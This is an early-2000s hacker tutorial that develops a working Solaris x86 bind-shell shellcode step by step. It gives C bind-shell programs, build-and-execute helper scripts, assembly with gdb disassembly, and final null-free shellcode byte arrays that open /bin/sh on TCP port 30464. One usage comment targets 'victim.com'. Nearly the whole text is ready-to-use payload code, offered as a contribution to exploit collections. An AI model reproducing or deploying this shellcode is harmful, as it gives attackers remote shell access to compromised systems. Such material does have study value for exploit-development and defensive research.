=====================================================
                                Solaris x86 bind shellcode here !
                                    "code name : Bacchante"
                                    "165.246.33.21/bacchante"
                        =====================================================
                                        reported by truefinder, seo@igrus.inha.ac.kr




This document is one of the result for shellcode project named bacchante , 
which is next codename of syrinx (olymfair team in 2th information security competition)
i've reduced comments, cuz of shellcode is not strategy but only technics.
our goal of this work is that pulling byte codes for "shellcode for bindshell in the solaris (x86)" 
,still never published on internet even like www.hack.co.za, rooshell, any teams, any groups ...
since you could trace some my works in this document, you could improve method, could creat your own code.

1t's a kinda fan service, but remember that it's all up to you. 
:)


++ bindsh.c ++

/* 
 * general source code for bind shell.
 *
 */
#include<stdio.h>
#include <dlfcn.h>
#include<stdio.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

main()
{
int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;

        if( fork() == 0 )
        {
                serv_addr.sin_family = AF_INET;
                serv_addr.sin_port = htons( 30464 );
                serv_addr.sin_addr.s_addr = htonl (INADDR_ANY);
                
                soc = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
                bind( soc, (struct sockaddr *)&serv_addr, sizeof(serv_addr) );
                listen(soc, 1);

                soc_len = sizeof(cli_addr);
                cli = accept(soc, (struct sockaddr *)&cli_addr, &soc_len );
                dup2(cli, 0);
                dup2(cli, 1);
                dup2(cli, 2);

                execl( "/bin/sh", "sh", 0 );
       }
}

-- bindsh.c --



++ bindsh2.c ++

/*
 * optimized, light bindshell code line
 *
 */
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc;
int cli;
struct sockaddr_in serv_addr;

int main()
{
        if( fork() == 0 )
        {
                serv_addr.sin_family  = 2;
                serv_addr.sin_addr.s_addr = 0;
                serv_addr.sin_port = 0x77;
  
                soc = socket ( 2, 2, 6 );
                bind ( soc, (struct sockaddr *)&serv_addr, 0x10 );
                listen(soc,1);
                cli = accept(soc,0,0);
                
                dup2(cli,0);
                dup2(cli,1);
                dup2(cli,2);

                execl("/bin/sh", "sh", 0);
        }
}

-- bindsh2.c --


 For the convenience of our next work, we would use two scripts, sucker and broker .
 you could see it pervious document sol-x86-test.txt also.
 they might help us to work easily


++ broker.sh ++  

#!/bin/sh
#
# This is the "broker" to test if shellcode works well
# use script like this $./broker data.d
#
# data.d must be below feature
#
# 0x80481e7 <main+3>:     0xeb    0x37    0x5e    0x6a    0x00    0xc6    0x46    0x07
# 0x80481ef <param+5>:    0x00    0x89    0x76    0x08    0xc7    0x46    0x0c    0x00
# 0x80481f7 <param+13>:   0x00    0x00    0x00    0x8d    0x46    0x08    0x50    0x56
# 0x80481ff <call>:       0x6a    0x00    0x33    0xc0    0xb8    0x3b    0x00    0x00
# 0x8048207 <call+8>:     0x00    0x9a    0x00    0x00    0x00    0x00    0x07    0x00
# 0x804820f <exit>:       0xba    0x00    0x00    0x00    0x00    0xb8    0x01    0x00
# 0x8048217 <exit+8>:     0x00    0x00    0x9a    0x00    0x00    0x00    0x00    0x07
# 0x804821f <exit+16>:    0x00    0xe8    0xc4    0xff    0xff    0xff    0x2f    0x62
# 0x8048227 <string_loc+7>:       0x69    0x6e    0x2f    0x73    0x68    0x00    0x00    0x00
# 0x804822f <string_loc+15>:      0x00    0x00    0xc9    0xc3 
#
# After broker process , u can test it easily.


if [ -z $1  ]
        then
                echo -e "usaga: broker <data.d>\n"
                exit 1 
fi

cat > test.c << __EOF_START__
 char code[] =
__EOF_START__

awk '{ print $3,$4,$5,$6,$7,$8,$9,$10 }' $1 | \
sed -e 's/ //g' | sed -e 's/0x/\\x/g'| sed -e 's/^/"/g' | sed -e 's/$/"/g' >> test.c

cat >> test.c << __EOF_END__
;

void (*f)();
main()
{
        f = code;
        f();
}

__EOF_END__

gcc -o test test.c -g
echo "Use this to test raw shellcode : ./test !"

-- broker.sh --
  
  
++ sucker.sh ++

#!/bin/sh
#
# sucker is a compile script to link assembly to c program
# result output may be test file.
# excute test !

/usr/local/bin/as -o $1.o $1.s
/usr/local/bin/gcc -o test skel.o $1.o
echo "Use ./test now!";

-- sucker.sh --


++ sckel.c ++

/*
 * gcc -c skel.c
 */
main()
{
        _asm_start();
}

-- skel.c --


Usage : 

 You have to code assembly with .s file including _asm_start() function. 
 Next, compile and link that source with sucker, 
 
 	./sucker your_code 

 and you could also pull whole byte codes out from result of sucker "test"
 using gdb or the other debuger like this
 	
	(gdb) x/100bx _asm_start 

 let's drug & drop it to the file data.d and make it excution file 
 use the broker 
 
 	./broker data.d 

 then last of our work is confirmation whether it works or not
 
 	./test 




 Our stack feature might be below


int soc(4), cli(4) ;

struct serv_addr(16){ 
        serv_addr.sin_family(2), 
        serv_addr.sin_port(2), 
        serv_addr.sin_addr.s_addr(4), 
        serv_addr.sin_zero(8) 
};

# pushl %ebp
# movl %esp,%ebp
# subl $24,%esp

-0x0(%ebp)      soc (4); 
-0x4(%ebp)      cli (4);
-0x8(%ebp)      serv_addr.sin_family (2)
-0xa(%ebp)      serv_addr.sin_port (2)
-0xc(%ebp)      serv_addr.sin_addr.s_addr (4)
-0x10(%ebp)     serv_addr.sin_zero (8)


 (gdb) x/4bx  &cli
 0x8049724 <cli>:        0x00    0x00    0x00    0x00
 (gdb) x/16x &serv_addr
 0x8049728 <serv_addr>:  0x02    0x00    0x77    0x00    0x00    0x00    0x00    0x00
 0x8049730 <serv_addr+8>:        0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
 (gdb) x/4bx  &soc
 0x8049738 <soc>:        0x00    0x00    0x00    0x00


 
 Solaris has no dup2 syscall in his syscall table , 
 there are just dup() syscall.

                ...
        #define SYS_dup         41
                ...

 So we have to choice another way.
  
                ...
        #define SYS_fcntl       62
                ...

 Improve C line and , also assembly.
 fnclt() could do role of the dup2() library routine in solaris.
 
++ bindsh3.c ++
/*
 * improved bindshell C code line in the sol-x86
 *
 */
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<fcntl.h>
#include<unistd.h>

int soc, cli;
struct sockaddr_in serv_addr;

int main()
{
      if( fork() == 0 )
      {
                serv_addr.sin_family  = 2;
                serv_addr.sin_addr.s_addr = 0;
                serv_addr.sin_port = 0x77;

                soc = socket ( 2, 2, 6 );
                bind ( soc, (struct sockaddr *)&serv_addr, 0x10 );
                listen(soc,1);
                cli = accept(soc,0,0);

                fcntl(cli, F_DUP2FD, STDOUT_FILENO );
                fcntl(cli, F_DUP2FD, STDIN_FILENO );
                fcntl(cli, F_DUP2FD, STDERR_FILENO );

                execl("/bin/sh", "sh", 0);
      }
}

-- bindsh3.s --


++ bindsh3.s ++

# raw assembly for bindshell
# but it's not realy raw.

        .file   "bind3.c"
        .version        "01.01"
gcc2_compiled.:
.section        .rodata
.LC0:
        .string "sh"
.LC1:
        .string "/bin/sh"
.text
        .align 4
.globl main
        .type    main,@function
main:
        pushl %ebp
        movl %esp,%ebp
        subl $8,%esp
        call fork
        movl %eax,%eax
        testl %eax,%eax
        jne .L3
        movw $2,serv_addr
        movl $0,serv_addr+4
        movw $119,serv_addr+2
        addl $-4,%esp
        pushl $6
        pushl $2
        pushl $2
        call socket
        addl $16,%esp
        movl %eax,%eax
        movl %eax,soc
        addl $-4,%esp
        pushl $16
        pushl $serv_addr
        movl soc,%eax
        pushl %eax
        call bind
        addl $16,%esp
        addl $-8,%esp
        pushl $1
        movl soc,%eax
        pushl %eax
        call listen
        addl $16,%esp
        addl $-4,%esp
        pushl $0
        pushl $0
        movl soc,%eax
        pushl %eax
        call accept
        addl $16,%esp
        movl %eax,%eax
        movl %eax,cli
        addl $-4,%esp
        pushl $1
        pushl $9
        movl cli,%eax
        pushl %eax
        call fcntl
        addl $16,%esp
        addl $-4,%esp
        pushl $0
        pushl $9
        movl cli,%eax
        pushl %eax
        call fcntl
        addl $16,%esp
        addl $-4,%esp
        pushl $2
        pushl $9
        movl cli,%eax
        pushl %eax
        call fcntl
        addl $16,%esp
        addl $-4,%esp
        pushl $0
        pushl $.LC0
        pushl $.LC1
        call execl
        addl $16,%esp
.L3:
.L2:
        leave
        ret
.Lfe1:
        .size    main,.Lfe1-main
        .comm   soc,4,4
        .comm   cli,4,4
        .comm   serv_addr,16,4
        .ident  "GCC: (GNU) 2.95.2 19991024 (release)"

-- bindsh3.s --
 

 The "call" is not the raw system call, solaris x86 uses "lcall section,offset" 
 for software interrupt. so we couldn't use general aleph1's method.
 ( disassembly static instruction, analsys it, construct as our one . )

 Since even Solaris didn't support static compile against socket function
 exactly -ldl, we have to code assembly program for aggressive bindshelll at last.

 first of all, Let's disassemble fnctl() in real status !

  
(gdb) disas main
Dump of assembler code for function main:
0x80481e4 <main>:       push   %ebp
0x80481e5 <main+1>:     mov    %esp,%ebp
0x80481e7 <main+3>:     sub    $0x18,%esp
0x80481ea <main+6>:     add    $0xfffffff8,%esp
0x80481ed <main+9>:     push   $0x806057c
0x80481f2 <main+14>:    push   $0x806057f
0x80481f7 <main+19>:    call   0x805b5f4 <open>
0x80481fc <main+24>:    add    $0x10,%esp
0x80481ff <main+27>:    mov    %eax,%eax
0x8048201 <main+29>:    mov    %eax,0xfffffffc(%ebp)
0x8048204 <main+32>:    add    $0xfffffff8,%esp
0x8048207 <main+35>:    mov    0xfffffffc(%ebp),%eax
0x804820a <main+38>:    push   %eax
0x804820b <main+39>:    push   $0x8060589
0x8048210 <main+44>:    call   0x8048384 <printf>
0x8048215 <main+49>:    add    $0x10,%esp
0x8048218 <main+52>:    add    $0xfffffffc,%esp
0x804821b <main+55>:    push   $0x0
0x804821d <main+57>:    push   $0x9
0x804821f <main+59>:    mov    0xfffffffc(%ebp),%eax
0x8048222 <main+62>:    push   %eax
0x8048223 <main+63>:    call   0x805b5b0 <fcntl>
0x8048228 <main+68>:    add    $0x10,%esp
0x804822b <main+71>:    mov    %eax,%eax
0x804822d <main+73>:    mov    %eax,0xfffffff8(%ebp)
0x8048230 <main+76>:    add    $0xfffffff8,%esp
0x8048233 <main+79>:    mov    0xfffffff8(%ebp),%eax
0x8048236 <main+82>:    push   %eax
0x8048237 <main+83>:    push   $0x8060593
0x804823c <main+88>:    call   0x8048384 <printf>
0x8048241 <main+93>:    add    $0x10,%esp
0x8048244 <main+96>:    leave  
0x8048245 <main+97>:    ret    
End of assembler dump.
(gdb) disas fcntl
Dump of assembler code for function fcntl:
0x805b5b0 <fcntl>:      push   %ebp
0x805b5b1 <fcntl+1>:    mov    %esp,%ebp
0x805b5b3 <fcntl+3>:    pushl  0x10(%ebp)
0x805b5b6 <fcntl+6>:    pushl  0xc(%ebp)
0x805b5b9 <fcntl+9>:    pushl  0x8(%ebp)
0x805b5bc <fcntl+12>:   call   *0x806ab0c
0x805b5c2 <fcntl+18>:   add    $0xc,%esp
0x805b5c5 <fcntl+21>:   leave  
0x805b5c6 <fcntl+22>:   ret    
0x805b5c7 <fcntl+23>:   nop    
End of assembler dump.
(gdb) disas *0x806ab0c 
Dump of assembler code for function s_fcntl:
0x805d4f4 <s_fcntl>:    push   %ebp
0x805d4f5 <s_fcntl+1>:  mov    %esp,%ebp
0x805d4f7 <s_fcntl+3>:  sub    $0x10,%esp
0x805d4fa <s_fcntl+6>:  push   %ebx
0x805d4fb <s_fcntl+7>:  push   %esi
....
..

(gdb) disas __fcntl
Dump of assembler code for function __fcntl:
0x805d664 <__fcntl>:    mov    $0x3e,%eax
0x805d669 <__fcntl+5>:  lcall  $0x7,$0x0
0x805d670 <__fcntl+12>: jae    0x805d67c <noerror>
0x805d672 <__fcntl+14>: cmp    $0x5b,%al
0x805d674 <__fcntl+16>: je     0x805d664 <__fcntl>
0x805d676 <__fcntl+18>: jmp    0x8060399 <__cerror>
0x805d67b <__fcntl+23>: nop    
End of assembler dump.


 Attention ! solaris use double parameter stacking in fcntl().
 so we have to do some art of stack with dummy data like dummy_ret, dummy_ebp.
 And you can see our assembly code below.


# fcntl(cli, F_DUP2FD, STDIN_FILENO);

#     <instruction>             <stack feature>

                                 # ---------------
        pushl $0                 # STDIN_FILENO
        pushl $9                 # F_DUP2DF
	pushl -0x4(%ebp)         # cli
                                 # ---------------

        pushl $0xffffffff        # <ret address> dummy value
        pushl $0xffffffff        # <saved ebp> 

                                 # ---------------
        pushl $0                 # STDIN_FIlENO
        pushl $9                 # F_DUUP2DF       ; double stacking !
        pushl -0x4(%ebp)         # cli
                                 # ---------------

        pushl $0xffffffff        # <ret address> 

        movl $62,%eax            # system call here !
	lcall $0x7,$0x0  	 #
        addl $36,%esp            #


 And totaly assembly source code below .


++ bind.s ++

# (improved  2001/05/28, 2001/05/30, 2001/05/31)

.text
.globl _asm_start

_asm_start:
        pushl %ebp
        movl %esp,%ebp  # %ebp addr may be used
                        # as a frame index
# int soc,cli;
# struct sockaddr_in serv_addr;
        subl $24,%esp

# if( fork() ==0 )
#       pushl 0xffff
#       pushl 0xffff
#       pushl 0xffff
#       movl $0x2,%eax
#       lcall $0x7,$0x0
#       addl $12,%esp
#       testl %eax,%eax
#       jne _asm_end
#_ok

# serv_addr.sin_family = 2 (AF_INET);
# serv_addr.sin_addr.s_addr = 0 (INADDR_ANY);
# serv_addr.sin_port = 0x77 (30464);

                                # ebp-24       ...
        movl $0x0, -0x14(%ebp)  # ebp-20 ; serv_addr.sin_family, serv_addr.sin_port
        movl $0x0, -0x10(%ebp)  # ebp-16 ; serv_addr.sin_addr.s_addr
        movl $0x0, -0xc(%ebp)   # ebp-12 ;       ...
        movl $0x0, -0x8(%ebp)   # ebp-8  ; serv_addr.sin_data[8]
        movl $0x0, -0x4(%ebp)   # epb-4  ; int cli
        movl $0x0, -0x0(%ebp)   # ebp-0  ; int soc

       #movl $0x0,-0xc(%ebp)
        movl $0x2,-0x14(%ebp)
        movw $0x77,-0x12(%ebp)  # cuz of overwriting
#_ok


# soc = socket ( 2, 2, 6);
        pushl $0x6
        pushl $0x2
        pushl $0x2
        pushl $0xffffffff       # dummy retaddr

        movl $230,%eax
        lcall $0x7,$0x0

        addl $16,%esp           #offset

        movl %eax,-0x0(%ebp)
#_ok


# bind ( soc, (struct sockaddr * )&serv_addr, 16 );
        pushl $16
        leal -0x14(%ebp), %eax
        pushl %eax
        pushl -0x0(%ebp)
        pushl $0xffffffff       # dummy retaddr

        movl $232,%eax
        lcall $0x7,$0x0

        addl $16,%esp           #offset
#_ok


# listen ( soc, 1);
        pushl $1
        pushl -0x0(%ebp)
        pushl $0xffffffff       # dummy retaddr

        movl $233,%eax
        lcall $0x7,$0x0
        addl $12,%esp           #offset
#_ok


# cli = accept( soc, 0, 0);
        pushl $0x0
        pushl $0x0
        pushl -0x0(%ebp)
        pushl $0xffffffff       #offset

        movl $234,%eax
        lcall $0x7,$0x0
        addl $16,%esp

        movl %eax,-0x4(%ebp)

#ok

## Warning! there are no dup2() syscall.
## so we have to use fcntl() syscall 
## #define SYS_fcntl 62
##
## dup2 ( cli,0 );
##        pushl $0x0
##        pushl -0x4(%ebp)
##        pushl 0xffffffff        # dummy ret
##        movl $41,%eax
##        lcall $0x7,$0x0
##        addl $12,%esp

## dup2 ( cli,1 );
##        pushl $0x1
##        pushl -0x4(%ebp)
##        pushl 0xffffffff        # dummy ret
##        movl $41,%eax
##        lcall $0x7,$0x0
##        addl $12,%esp

# fcntl(cli, F_DUP2FD, STDIN_FILENO);
        pushl $0
        pushl $9
        pushl -0x4(%ebp)

        pushl $0xffffffff # ret dummy
        pushl $0xffffffff # saved ebp dummy

        pushl $0
        pushl $9
        pushl -0x4(%ebp)

        pushl $0xffffffff # saved ebp dummy

        movl $62,%eax
        lcall $0x7,$0x0
        addl $36,%esp

#_ok

# fcntl(cli, F_DUP2FD, STDOUT_FILENO);
        pushl $1
        pushl $9
        pushl -0x4(%ebp)

        pushl $0xffffffff # ret dummy
        pushl $0xffffffff # saved ebp dummy

        pushl $1
        pushl $9
        pushl -0x4(%ebp)

        pushl $0xffffffff # ret dummy

        movl $62,%eax
        lcall $0x7,$0x0
        addl $36,%esp
#_ok

# fcntl(cli, F_DUP2FD, STDERR_FILENO);
        pushl $2
        pushl $9
        pushl -0x4(%ebp)

        pushl $0xffffffff # ret dummy
        pushl $0xffffffff # saved ebp dummy

        pushl $1
        pushl $9
        pushl -0x4(%ebp)

        pushl $0xffffffff # ret dummy

        movl $62,%eax
        lcall $0x7,$0x0
        addl $36,%esp
#-ok

# execve( name[0], name, 0);
        jmp string_loc

shell_start:
        popl %esi

        pushl $0x00000000       # dummy ret
                                # "/bin/sh"
        movb $0x0, 0x7(%esi)    # \0
        movl %esi, 0x8(%esi)    # addr
        movl $0x0, 0xc(%esi)    #

        leal 0x8(%esi),%eax
        pushl %eax
        pushl %esi

        pushl $0x00000000       # dummy ret
        xorl %eax,%eax
        movl $0x3b,%eax
        lcall $0x7,$0x0

#code_exit:
#        movl $0x1,%eax
#        movl $0x0,%edx
#        lcall $0x7,$0x0

string_loc:
        call shell_start
        .string "/bin/sh"
#_ok

# _EOF_ x86-solaris bindshellcode
# last update 2001/05/31

-- bind.s --

 I've forced to annote to "fork() part" becouse it's difficult to control
 child process, so speak to say , above source code is just testing code
 ,whether it works or not. 

 As a matter of course, We could test it with sucker, gdb and broker...


++ test.c ++

/*
 * raw shellcode for sol-x86-bindshell
 * it need not '-ldl' option to use library.
 *
 * gcc -o test test.c ; telnet localhost 30464
 *
 */
char code[] =
"\x55\x89\xe5\x83\xec\x18\xc7\x45"
"\xec\x00\x00\x00\x00\xc7\x45\xf0"
"\x00\x00\x00\x00\xc7\x45\xf4\x00"
"\x00\x00\x00\xc7\x45\xf8\x00\x00"
"\x00\x00\xc7\x45\xfc\x00\x00\x00"
"\x00\xc7\x45\x00\x00\x00\x00\x00"
"\xc7\x45\xec\x02\x00\x00\x00\x66"
"\xc7\x45\xee\x77\x00\x6a\x06\x6a"
"\x02\x6a\x02\x6a\xff\xb8\xe6\x00"
"\x00\x00\x9a\x00\x00\x00\x00\x07"
"\x00\x83\xc4\x10\x89\x45\x00\x6a"
"\x10\x8d\x45\xec\x50\xff\x75\x00"
"\x6a\xff\xb8\xe8\x00\x00\x00\x9a"
"\x00\x00\x00\x00\x07\x00\x83\xc4"
"\x10\x6a\x01\xff\x75\x00\x6a\xff"
"\xb8\xe9\x00\x00\x00\x9a\x00\x00"
"\x00\x00\x07\x00\x83\xc4\x0c\x6a"
"\x00\x6a\x00\xff\x75\x00\x6a\xff"
"\xb8\xea\x00\x00\x00\x9a\x00\x00"
"\x00\x00\x07\x00\x83\xc4\x10\x89"
"\x45\xfc\x6a\x00\x6a\x09\xff\x75"
"\xfc\x6a\xff\x6a\xff\x6a\x00\x6a"
"\x09\xff\x75\xfc\x6a\xff\xb8\x3e"
"\x00\x00\x00\x9a\x00\x00\x00\x00"
"\x07\x00\x83\xc4\x24\x31\xd2\x31"
"\xd2\x31\xd2\x6a\x01\x6a\x09\xff"
"\x75\xfc\x6a\xff\x6a\xff\x6a\x01"
"\x6a\x09\xff\x75\xfc\x6a\xff\xb8"
"\x3e\x00\x00\x00\x9a\x00\x00\x00"
"\x00\x07\x00\x83\xc4\x24\x6a\x02"
"\x6a\x09\xff\x75\xfc\x6a\xff\x6a"
"\xff\x6a\x01\x6a\x09\xff\x75\xfc"
"\x6a\xff\xb8\x3e\x00\x00\x00\x9a"
"\x00\x00\x00\x00\x07\x00\x83\xc4"
"\x24\xeb\x26\x5e\x6a\x00\xc6\x46"
"\x07\x00\x89\x76\x08\xc7\x46\x0c"
"\x00\x00\x00\x00\x8d\x46\x08\x50"
"\x56\x6a\x00\x31\xc0\xb8\x3b\x00"
"\x00\x00\x9a\x00\x00\x00\x00\x07"
"\x00\xe8\xd5\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68"
;

void (*f)();
main()
{
        f = code;
        f();
}

-- test.c --

 Well, it works ! our thinking was correctly coincided.
 but, don't smile with a pleased expression of coutenance. 
 this is just raw shellcode, which needed replacement of some instruction. 
 something movl $0x0,%eax -> xorl %eax,%eax
 
 And now we start improving our code more completely!

 Let's check the rules  

 1. -0x0(%ebp) has the null code, it may be replaced to -0x4(%ebp)
    and also -0x4 -> -0x8, -0x8 -> -0xc ...
 2. $0x0 must be xorl %eax,%eax; movl %eax,???
 3. lcall has so many null code about 5byte, so we will improve it as a self modifing code
    lcall $0x7,$0x0 : "\x9a\xff\xff\xff\xff\x07\xff" 
        ---<self modify>---> "\x9a\x00\x00\x00\x00\x7c\x00"
 4. we've used the dummy ret in above source code, but now we should have the return address
    of call instruction, since "call lcall_string_here" must be back to his code, next instruction.
    let's annotate to the source or delete. 


++ last-bind.s ++ 
#
# solaris x86 bind shellcode
# truefinder , seo@igrus.inha.ac.kr
# usage : telnet victim.com 30464

.text
.globl _asm_start

_asm_start:
        pushl %ebp
        movl %esp,%ebp  # %ebp addr may be used
                        # as a frame index

####################################################
# lcall $0x7,$0x0 == call lcall_string_here
####################################################
jmp make_lcall_string

self_modify_lcall:
        popl %esi
        xorl %ebx,%ebx
        movl %ebx, 0x1(%esi)
        movb %bl,  0x6(%esi)
        movl %esi, %ebx
        addb $0x8, %bl
        jmp blah

make_lcall_string:
        call self_modify_lcall
lcall_string_here:
        .ascii "\x9a\xff\xff\xff\xff\x07\xff"
        ret

blah:
####################################################

# int soc,cli;
# struct sockaddr_in serv_addr;
        subl $28,%esp

# serv_addr.sin_family = 2 (AF_INET);
# serv_addr.sin_addr.s_addr = 0 (INADDR_ANY);
# serv_addr.sin_port = 0x77 (30464);

        xorl %edx,%edx 
                                # ebp-28       ...
        movl %edx, -0x18(%ebp)  # ebp-24 ; serv_addr.sin_family, serv_addr.sin_port
        movl %edx, -0x14(%ebp)  # ebp-20; serv_addr.sin_addr.s_addr
        movl %edx, -0x10(%ebp)  # ebp-16 ;       ...
        movl %edx, -0xc(%ebp)   # ebp-12  ; serv_addr.sin_data[8]
        movl %edx, -0x8(%ebp)   # epb-8  ; int cli
        movl %edx, -0x4(%ebp)   # ebp-4  ; int soc

       #movl $0x0,-0x10(%ebp)
        movb $0x2,-0x18(%ebp)
        movb $0x77,-0x16(%ebp)  # cuz of overwriting


# soc = socket ( 2, 2, 6);
        pushl $0x6
        pushl $0x2
        pushl $0x2
#       pushl $0xffffffff       # dummy retaddr

        xorl %eax,%eax
        movb $230,%al
##      lcall $0x7,$0x0
        call lcall_string_here

        addl $16,%esp           #offset

        movl %eax,-0x4(%ebp)


# bind ( soc, (struct sockaddr * )&serv_addr, 16 );
        pushl $16
        leal -0x18(%ebp), %eax
        pushl %eax
        pushl -0x4(%ebp)
#       pushl $0xffffffff       # dummy retaddr

        xorl %eax,%eax
        movb $232,%al
##      lcall $0x7,$0x0
        call lcall_string_here
        addl $16,%esp           #offset


# listen ( soc, 1);
        pushl $1
        pushl -0x4(%ebp)
#       pushl $0xffffffff       # dummy retaddr

        xorl %eax,%eax
        movb $233,%al
##      lcall $0x7,$0x0
        call lcall_string_here
        addl $12,%esp           #offset


# cli = accept( soc, 0, 0);

        xorl %edx,%edx
        pushl %edx
        pushl %edx
        pushl -0x4(%ebp)
#       pushl $0xffffffff       #ret dummy

        xorl %eax,%eax
        movb $234,%al
##      lcall $0x7,$0x0
        call lcall_string_here
        addl $16,%esp

        movl %eax,-0x8(%ebp)


# fcntl(cli, F_DUP2FD, STDIN_FILENO);

        xorl %edx,%edx
        pushl %edx
        pushl $9
        pushl -0x8(%ebp)

        pushl $0xffffffff # ret dummy
        pushl $0xffffffff # saved ebp dummy

        pushl %edx
        pushl $9
        pushl -0x8(%ebp)

#       pushl $0xffffffff # ret dummy

        xorl %eax,%eax
        movb $62,%al
##      lcall $0x7,$0x0
        call lcall_string_here
        addl $36,%esp


# fcntl(cli, F_DUP2FD, STDOUT_FILENO);
        pushl $1
        pushl $9
        pushl -0x8(%ebp)

        pushl $0xffffffff # ret dummy
        pushl $0xffffffff # saved ebp dummy

        pushl $1
        pushl $9
        pushl -0x8(%ebp)

#       pushl $0xffffffff # ret dummy

        xorl %eax,%eax
        movb $62,%al
##      lcall $0x7,$0x0
        call lcall_string_here
        addl $36,%esp


# fcntl(cli, F_DUP2FD, STDERR_FILENO);
        pushl $2
        pushl $9
        pushl -0x8(%ebp)

        pushl $0xffffffff # ret dummy
        pushl $0xffffffff # saved ebp dummy

        pushl $2
        pushl $9
        pushl -0x8(%ebp)

#       pushl $0xffffffff # ret dummy

        xorl %eax,%eax
        movb $62,%al
##      lcall $0x7,$0x0
        call lcall_string_here
        addl $36,%esp


# execve( name[0], name, 0);
        jmp string_loc

shell_start:
        popl %esi

        xorl %edx,%edx
        pushl %edx       # dummy ret
                                # "/bin/sh"
        movb %dl, 0x7(%esi)    # \0
        movl %esi, 0x8(%esi)    # addr
        movl %edx, 0xc(%esi)    #

        leal 0x8(%esi),%eax
        pushl %eax
        pushl %esi

        pushl %edx       # dummy ret
        xorl %eax,%eax
        movb $0x3b,%al
##      lcall $0x7,$0x0
        jmp lcall_string_here


#_asm_end:
#       leave
#       ret

# exit();
#        movl $0x1,%eax
#        movl $0x0,%edx
#        lcall $0x7,$0x0

string_loc:
        call shell_start
        .string "/bin/sh"


# _EOF_ x86-solaris bindshellcode
# last update 2001/05/31, 2001/06/12

-- last-bind.s --



 And our complete bindshell code here !


++ test.c ++

/* 
 * solaris x86 bindshellcode 
 * truefinder, seo@igrus.inha.ac.kr
 *
 * telnet localhost 30464
 *
 */

char code[] =
"\x55\x89\xe5\xeb\x10\x5e\x31\xdb\x89\x5e\x01\x88\x5e\x06\x89\xf3"
"\x80\xc3\x08\xeb\x0d\xe8\xeb\xff\xff\xff\x9a\xff\xff\xff\xff\x07"
"\xff\xc3\x83\xec\x1c\x31\xd2\x89\x55\xe8\x89\x55\xec\x89\x55\xf0"
"\x89\x55\xf4\x89\x55\xf8\x89\x55\xfc\xc6\x45\xe8\x02\xc6\x45\xea"
"\x77\x6a\x06\x6a\x02\x6a\x02\x31\xc0\xb0\xe6\xe8\xca\xff\xff\xff"
"\x83\xc4\x10\x89\x45\xfc\x6a\x10\x8d\x45\xe8\x50\xff\x75\xfc\x31"
"\xc0\xb0\xe8\xe8\xb2\xff\xff\xff\x83\xc4\x10\x6a\x01\xff\x75\xfc"
"\x31\xc0\xb0\xe9\xe8\xa1\xff\xff\xff\x83\xc4\x0c\x31\xd2\x52\x52"
"\xff\x75\xfc\x31\xc0\xb0\xea\xe8\x8e\xff\xff\xff\x83\xc4\x10\x89"
"\x45\xf8\x31\xd2\x52\x6a\x09\xff\x75\xf8\x6a\xff\x6a\xff\x52\x6a"
"\x09\xff\x75\xf8\x31\xc0\xb0\x3e\xe8\x6d\xff\xff\xff\x83\xc4\x24"
"\x6a\x01\x6a\x09\xff\x75\xf8\x6a\xff\x6a\xff\x6a\x01\x6a\x09\xff"
"\x75\xf8\x31\xc0\xb0\x3e\xe8\x4f\xff\xff\xff\x83\xc4\x24\x6a\x02"
"\x6a\x09\xff\x75\xf8\x6a\xff\x6a\xff\x6a\x02\x6a\x09\xff\x75\xf8"
"\x31\xc0\xb0\x3e\xe8\x31\xff\xff\xff\x83\xc4\x24\xeb\x1c\x5e\x31"
"\xd2\x52\x88\x56\x07\x89\x76\x08\x89\x56\x0c\x8d\x46\x08\x50\x56"
"\x52\x31\xc0\xb0\x3b\xe9\x10\xff\xff\xff\xe8\xdf\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68"
;

void (*f)();
main()
{
        f = code;
        f();
}

-- test.c --

_EOF_CONTENT_